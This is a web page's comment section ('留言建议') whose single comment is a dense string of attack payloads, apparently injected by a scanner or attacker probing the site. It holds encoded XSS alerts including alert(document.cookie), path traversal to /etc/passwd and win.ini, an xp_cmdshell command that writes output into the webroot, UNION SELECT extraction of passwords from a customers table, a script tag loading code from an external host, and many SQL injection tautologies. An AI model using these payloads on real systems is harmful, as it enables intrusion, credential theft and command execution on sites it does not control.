留言建议

  1. >=’>%3Cscript%3Ealert(‘XSS’)%3C/script%3E%0a%0a.jsp%22%3cscript%3ealert(%22xss%22)%3c/script%3e%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html%3f.jsp%3f.jsp?sql_debug=1a%5c.aspxa.jsp/a/a?”>’;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:inetpubwwwroot?.txt’–&&%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cscript%3Ealert(document. domain);%3C/script%3E&%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd…………….windowssystem.ini…………….windowssystem.ini”;!–“=&{()}””;’ > outgetURL(“javascript:alert(‘XSS’)”)a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);”> <“PT src=”http://xss.ha.ckers.org/a.js”>linkadmin’–‘ or 0=0 –” or 0=0 –or 0=0 –‘ or 0=0 #” or 0=0 #or 0=0 #’ or ‘x’=’x” or “x”=”x’) or (‘x’=’x’ or 1=1–” or 1=1–or 1=1–‘ or a=a–” or “a”=”a’) or (‘a’=’a”) or (“a”=”ahi” or “a”=”ahi” or 1=1 –hi’ or 1=1 –hi’ or ‘a’=’ahi’) or (‘a’=’ahi”) or (“a”=”a[/code]